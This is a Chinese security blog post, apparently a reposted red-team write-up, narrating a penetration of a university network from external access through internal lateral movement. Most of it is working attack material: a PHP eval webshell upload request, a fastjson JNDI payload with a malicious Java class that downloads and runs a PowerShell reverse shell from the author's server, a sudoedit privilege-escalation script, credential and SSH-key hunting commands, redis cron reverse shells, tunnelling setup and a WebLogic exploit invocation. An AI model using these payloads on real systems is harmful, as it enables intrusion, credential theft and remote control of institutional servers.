某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

admin 2024年7月5日16:19:06评论16 views字数 8727阅读29分5秒阅读模式

#刚刚结束19天的攻防,鸽了这么久,也是跟大家说声抱歉

信息收集打点

这个项目,拿到的目标是某某大学,而不是直接给的主域名或者IP啥的,所以需要我自己去对某某大学进行信息收集。

关于信息收集,可能大多数师傅习惯fofa、hunter、quanke、去重一条龙。这里我细致讲解一下,一些忽略的细节。

首先要尽可能的找到尽量齐全的资产,就要去收集该目标尽可能多的子域名,方式有以下方法。

1.大家都不会忽略的直接是xxx.edu.cn

2.备案号查询子域名

3.证书查询获取子域

4.小蓝本查询获取子域

5.去小程序搜一下相关目标可能会搜到小蓝本没有的子域(也可能是第三方)

以上是我认为比较齐全的搜子域名的方式。收集到子域名之后再进行fofa、hunter、quake一条龙。不过在使用quake的时候,可以加上cert也就是证书。hunter可以直接查备案。

外网渗透

在收集到了尽可能多资产之后,寻找一些有功能点的系统进行渗透。通常有注册、登陆功能的,asp的、php,springboot的,struct2的,thinkphp、laravel、爆过day的OA等这些系统会比较好打,容易getshell(因为以getshell为主,没有去挖其他未授权或者逻辑漏洞)。

这里通过多不同系统的测试,外网getshell了三次,分别讲讲。

第一个getshell

第一个是laravel框架低版本文件上传Getshell,这个接口是我在简单js审计的过程中发现的

数据包如下

POST /xxx/xxx/upload HTTP/2
Host: xxx.xxx.edu.cn
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykriQeBZvkBfoslvY
Content-Length: 306

------WebKitFormBoundarykriQeBZvkBfoslvY
Content-Disposition: form-data; name="user"

test
------WebKitFormBoundarykriQeBZvkBfoslvY
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
eval($_POST["ting"]);

------WebKitFormBoundarykriQeBZvkBfoslvY--

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

连接密码ting  成功获取服务器权限

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

但是由于当前获取的权限较低,又是第一台getshell,所以我尝试了进行提权,具体我放在内网渗透里。

几经挫折,依然没有提权成功,虽然可以打内网了但是我还是想找找别的入口,说不定是别的内网网段的呢。

浏览器访问的web站点测了一遍,包括需要登陆的没有前台漏洞的系统都测了一编。于是有第二次getshell。但是这个getshell也是跟之前的一样,用的laravel框架有个低版本的文件上传漏洞,接口名字都一样,估计是同一批开发人员,这里就不多截图了,提权也是一样没有成功。

第三次getshell

然后开始转向小程序了,搜索某某大学,看到几个小程序,直接开打。其中一个小程序,使用了fastjson,我的插件也提示我存在fastjso的JNDI注入漏洞经过检验确实存在该漏洞,复现过程如下。

数据包

POST /xxx/xxx/getWeChatOpenId HTTP/1.1
Host: xxx.xxx.edu.cn
Content-Length: 160
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Systemsign: se-pc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json;charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Token: null
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxx.xxx.xxx.xx/Ting",
"autoCommit":true
}

恶意服务器开启9999端口监听 收到了学校服务器的的请求,获取Ting.class这个恶意类(放在我的公网服务器上)

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

然后web80端口也就监听到他请求Ting.class这个恶意类了某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

恶意类Ting.java代码如下 commands里面可以写任意命令  然后调用Runtime类的exec方法执行任意命令

import java.lang.Runtime;
import java.lang.Process;

public class Ting {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping","klvmixrvls.dgrh3.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {

}
}
}

最终这里就执行了我们的命令 也就是ping klvmixrvls.dgrh3.cn 可以看到我们收到了服务器那边的请求某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

RCE->Getsehll

由于已经可以在服务器上执行任意命令了,尝试获取服务器命令行的权限

首先在自己服务器开启监听

nc -lvp 8888

其实就是一个无文件落地,利用powershell 进行反弹shell,当然在这个情况下如果目标出网直接在公网挂该文件即可,如果不出网,可以通过拿下的另外一个内网shell,开一个http即可

然后修改恶意类为如下代码 此时在我的服务器已经准备好了Invoke-PowerShellTcp.ps1文件某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

import java.lang.Runtime;
import java.lang.Process;

public class Ting {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://xxxxxxxxx/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxxxxx -port 8888");
pc.waitFor();
} catch (Exception e) {

}
}
}

依然发送如下数据包

POST /xxx/xxx/getxxxxx HTTP/1.1
Host: xxx.xxx.edu.cn
Content-Length: 160
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Systemsign: se-pc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json;charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Token: null
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxxx:9999/Ting",
"autoCommit":true
}

查看http历史记录,可以看到先去获取了我的恶意类Ting.class并加载  加载恶意类的时候去执行powershell命令 下载Invoke-PowerShellTcp.ps1文件某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

然后执行后面完整的命令反弹shell到我监听的服务器 成功获取服务器的shell 权限

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

这里已经获得三个shell了,两个linux,一个windows。这个时候应该先用哪个呢?当然是Linux,因为windows有杀软啊。

内网渗透

Linux提权

在对linux进行提权的过程中,我当时用到的方法有这几个:

SUID提权 使用这三条命令任意一条即可 查看有哪些具有suid权限的命令 然后再看看有没有下面的几个可以提权的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

可以提权的命令通常有这些
Nmap、Vim、find、Bash、More、Less、Nano、cp

脏牛提权 受影响版本如下

Centos7 /RHEL7    3.10.0-957.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

内核漏洞提权 常见有这几种

sudo缓冲区溢出提权(CVE-2021-3156) 要求sudo suid。

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

sudoedit -s / 判断漏洞是否存在
显示 sudoedit: /: not a regular file表示存在

sudo提权(CVE-2023-22809

echo "if ! sudo --version | head -1 | grep -qE '(1.8.*|1.9.[0-9]1?(p[1-3])?|1.9.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '(root)|(ALL)|(ALL : ALL)' | grep -oP "sudoedit.*")

if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) NOPASSWD:ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
" >> exp.sh

polkit提权 即pkexec提权(CVE-2021-4034)影响范围

不受影响版本

CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1

通过以下命令查看版本

CentOS:
rpm -qa polkit

Ubuntu:
dpkg -l policykit-1

等等还有的不记得了。可以使用一些linux主机信息收集脚本,直接判断当前主机有哪些提权的方式,github是有相关项目的。

出了提权以为肯定还有对linux主机的其他信息收集,我总结了这些命令

uname -a  打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
lsb_release -a 发行版信息
cat /proc/version 内核信息
cat /etc/*-release 发行版信息
cat /etc/issue 发行版信息
cat /proc/cpuinfo CPU信息
find / -type f -name "*.env" 搜索配置文件
查看历史命令
cat ~/.bash_history history

cat /etc/services查询存在的服务
cat /etc/services | grep Java 查询对应的服务
systemctl list-units --type=service --state=running 查询已经开启的服务
cat /etc/services 查看端口映射服务

查找ssh密钥
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls

内网存货探测 不用上传工具
for i in 192.168.133.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done

locate 快速定位文件
locate .php

find . -name "*.php" -print0 | xargs -0 grep -i -n "$password"

find / -name *.ini -exec grep -Hi password {} ; >2.txt

其中,在我拿到那两台linux之后,由于是php的,我找到了.env文件,这个文件存放的时候数据库账号密码,甚至小程序的appid appkey 有时候还会有ak/sk这些高危严重的信息。这里我就获取到了几个密码,也接管了数据库。

内网横向

然后我直接上传了一个不带免杀的fscan,linux的好处就是没有杀软,不用做免杀,反弹shell也很方便。直接fscan梭哈了一下,搞了几台ssh,几个redis未授权。然后redis未授权其中一个通过写入计划任务来反弹shell,路径为/var/spool/cron/

NC开启监听等待 反弹shel

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

成功反弹shell

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

除了可以直接利用的漏洞以为还有很多的web服务,那么在打不动了的时候,就又要开始打内网的web了,这里主要找了一台双网卡的内网ip来打。

师傅会问,我还没拿到他的权限,我就知道他是双网卡了?

那就是fscan的强大之处了,他在进行存货探测的时候,会使用似乎的ping,还是哪个服务的探测,就可以返回该主机的一些信息,有时候就会包括主机名,双网卡的话,还能获取不同网卡的两个IP。

好了,开始打这个双网卡IP了,那么为了尽可能发现更多这个IP的脆弱点,我对其进行了全端口的扫描。然后为了更方便打内网,我肯定要正向代理搭建一下隧道嘛。

内网穿透

内网穿透的话我们也就需要搭建隧道了,关于隧道搭建,我想搭建必须要知道的是正向代理和反向代理,我以我自己的理解,以通俗的方式跟大家讲一下(语文不好)。

正向代理:像reGeorg使用这种工具 在已知内网ip的情况下,通过内网中可以出网的服务器(已getshell的服务器)去访问内网ip的服务。

通俗来讲:有一个代理服务器,可以让外面的客户端去访问 该代理服务器可以访问的局域网(内网),也就是VPN

反向代理:直接将内网的web服务器,例如80的web服务,映射到公网的81端口上,这样访问公网的81相当于访问内网那台不出网的客户端的80端口,是端口映射过去

也就是nginx反代

通俗来讲:内网的主动去代理到公网

这里我们就拿两个linux中任意一台来搭建隧道即可。

隧道搭建

工具:https://github.com/L-codes/Neo-reGeorg

使用的Neo-reGeorg,reGeorg不行了,用不了咯

执行命令生成 密码为ting的webshell

python neoreg.py generate -k ting

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

将webshell上传至目标服务器

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

配置代理转发的端口

python neoreg.py -k ting -u https://xxx.xxx.edu.cn//xxx//xxx//xx//xx//xx//tunnel.php -p 1080

配置 proxifiler 代理 如图代理成功

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

配置代理规则 之后所有浏览器的流量将会转发至 1080端口,然后转发给目标服务器上 就看将目标服务器当作跳板访问内网其他web服务获取其他主机的其他服务了

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

好了这个时候就可以继续打这个双网卡IP,或者内网其他IP的WEB服务了。端口扫描发现7003端口,一看就是weblogic,因为weblogic常见端口就是7001/7002/7003,这里先尝试他出网的情况,也就是在公网服务器部署ldap服务

公网服务器开启监听 提供ldap服务

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

公网服务器开启NC监听 反弹的shell

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

本机使用poc对目标今天JNDI请求

java -jar Weblogic-CVE-2023-21839.jar xxxxxxx:7003 ldap://xxxxxxxx:1389/Basic/ReverseShell/xxxxxx/6666

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

目标回去请求公网服务区的恶意服务 反弹shell到公网服务器 getshell

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

拿下双网卡先别太高兴,看看是不是“真”的双网卡,因为有的主机第二个网卡,就那一个IP,老规矩上传fscan,好家伙存活IP有点多,当时没截图,看来是真的了。

有所收获之后,继续打web,遇到一个spring报错页面,扫了一下目录,扫出来个api文档,测试一下接口 大丰收啊 这个接口直接爆了几十个数据库的账号密码 大量注意一下滚动条就完事了,这下收集了一堆密码,发现连数据库密码也有复用的情况,接下来也就是喷洒咯

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

收集大量密码之后,进行喷洒,注意一个ip爆破次数不能过度,否则安全设备会报警还会阻止爆破,也就是即使后面密码对了也会显示失败。除了喷洒之后还是对内网其他web进行了测试最终也是收获了颇丰啊就不一一展示了。getshell的有这些(实际上不止这些懒得批图了,包括对那台windows的lassm dump后面过程也不详细说了,太漫长了)。

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+


原文始发于微信公众号(Ting丶的安全笔记):某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日16:19:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+getshell*70+https://cn-sec.com/archives/2800099.html

发表评论

匿名网友 填写信息